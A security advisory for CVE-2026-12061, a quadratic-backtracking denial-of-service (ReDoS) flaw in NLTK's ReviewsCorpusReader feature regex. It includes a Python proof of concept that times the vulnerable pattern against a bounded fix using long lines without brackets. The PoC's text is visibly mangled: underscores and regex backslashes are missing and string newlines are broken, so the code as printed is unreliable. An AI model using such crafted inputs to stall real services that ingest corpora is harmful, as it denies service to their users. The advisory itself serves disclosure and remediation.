PT-2026-66885 · Pypi · Nltk

CVE-2026-12061

·

Published

2026-07-31

·

Updated

2026-07-31

CVSS v3.1

7.5

High

VectorAV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Summary

ReviewsCorpusReader extracts feature annotations of the form label followed by a bracketed signed digit (e.g. a label then [+2]) from each review line, using the module-level FEATURES regex. The feature-label sub-pattern is unbounded — an optional greedy run of word-plus-whitespace groups followed by another word, which must then be followed by a literal [. On a long bracket-less line the label can match from every search position to the end of the line, causing quadratic backtracking. A single crafted line in a reviews corpus hangs reviews(), features(), and sents().

Details

The label alternative is a greedy, unanchored run of word-plus-whitespace groups followed by a word, which must then be followed by a literal [. On an input that is a long sequence of word-plus-whitespace with no bracket, at each of the n starting positions the engine greedily extends the label to the end of the line, only then fails to find the bracket, and backtracks the whole way. re.findall repeats this from every position, giving O(n²) total work. There is no exponential blow-up, but quadratic growth on an attacker-controlled line length is enough to hang the reader: a single line of ~100,000 words consumes CPU for tens of seconds to minutes.

PoC

import multiprocessing as mp
import re
import time

# --- The vulnerable regex, verbatim from nltk/corpus/reader/reviews.py L70-71 ---
FEATURES VULN = re.compile(r"((?:(?:w+s)+)?w+)[((?:+|-)d)]")

# --- Bounded variant from the fix (PR #3583): cap the per-label word run.
#   A generous bound (real feature labels are short noun phrases) makes the
#   run linear while never affecting legitimate corpora. ---
WORD BOUND = 50
FEATURES FIXED = re.compile(
  r"((?:(?:w+s){0,%d})?w+)[((?:+|-)d)]" % WORD BOUND
)

TIMEOUT = 20.0 # seconds, per measurement
SIZES = [1000, 2000, 4000, 8000, 16000] # words on a single bracket-less line


def bad line(n words):
  """A long line of plain words with NO trailing bracketed annotation."""
  return ("word " * n words).rstrip()


def worker(pattern str, line, q):
  pat = re.compile(pattern str)
  t0 = time.perf counter()
  pat.findall(line)
  q.put(time.perf counter() - t0)


def timed findall(pattern, line, timeout=TIMEOUT):
  """Run pattern.findall(line) in a killable process; return seconds or None (timeout)."""
  q = mp.Queue()
  p = mp.Process(target= worker, args=(pattern.pattern, line, q))
  p.start()
  p.join(timeout)
  if p.is alive():
    p.terminate()
    p.join()
    return None
  return q.get() if not q.empty() else None


def bench(label, pattern):
  print(f"
[{label}] pattern: {pattern.pattern}")
  print(f" {'words':>7} {'~bytes':>8}  {'time':>12}  {'x prev':>7}")
  prev = None
  for n in SIZES:
    line = bad line(n)
    t = timed findall(pattern, line)
    if t is None:
      print(f" {n:>7} {len(line):>8}  {'>%.0fs TIMEOUT' % TIMEOUT:>12}  {'--':>7}")
      prev = None
    else:
      ratio = f"{t/prev:.1f}x" if prev else "--"
      print(f" {n:>7} {len(line):>8}  {t*1000:>9.1f} ms  {ratio:>7}")
      prev = t


def parity check():
  """The bound must NOT change extraction on a realistic annotated line."""
  real = (
    "the picture quality[+2] and battery life[+1] are great but "
    "the lens cap[-1] feels cheap and the menu system[-2] is slow"
  )
  a = FEATURES VULN.findall(real)
  b = FEATURES FIXED.findall(real)
  print("
[parity] realistic annotated line — extraction must be identical")
  print(f" vulnerable regex -> {a}")
  print(f" bounded  regex -> {b}")
  print(f" identical: {a == b}")
  return a == b


def main():
  print("=" * 66)
  print(" NLTK ReviewsCorpusReader FEATURES ReDoS PoC (quadratic backtracking)")
  print("=" * 66)
  print(f" per-call timeout = {TIMEOUT:.0f}s  word bound (fix) = {WORD BOUND}")

  bench("VULNERABLE reviews.py L70-71", FEATURES VULN)
  bench("BOUNDED   fix #3583", FEATURES FIXED)
  same = parity check()

  print("
" + "=" * 66)
  print(" Vulnerable: ~4x time per input doubling => O(n^2) quadratic ReDoS")
  print(" Bounded:  ~2x time per input doubling => O(n)  linear, stays in ms")
  print(f" Extraction parity on real annotations preserved: {same}")
  print(" A single ~100k-word bracket-less review line hangs reviews()/features()/sents().")
  print("=" * 66)


if  name  == " main ":
  main()

Impact

Denial of service. Processing a single crafted line through ReviewsCorpusReader consumes CPU quadratically in the line length, hanging the calling thread or process. An application that loads an untrusted or user-supplied reviews corpus (multi-tenant pipelines, services that accept user-provided corpora, batch or CI jobs) can be stalled by one malicious line, with no authentication and no privileges required.

Fix

DoS

Found an issue in the description? Have something to add? Feel free to write us 👾
dbugs@ptsecurity.com

Weakness Enumeration

CWE-1333

Related Identifiers

CVE-2026-12061
GHSA-FG7F-2386-8897

Affected Products

Nltk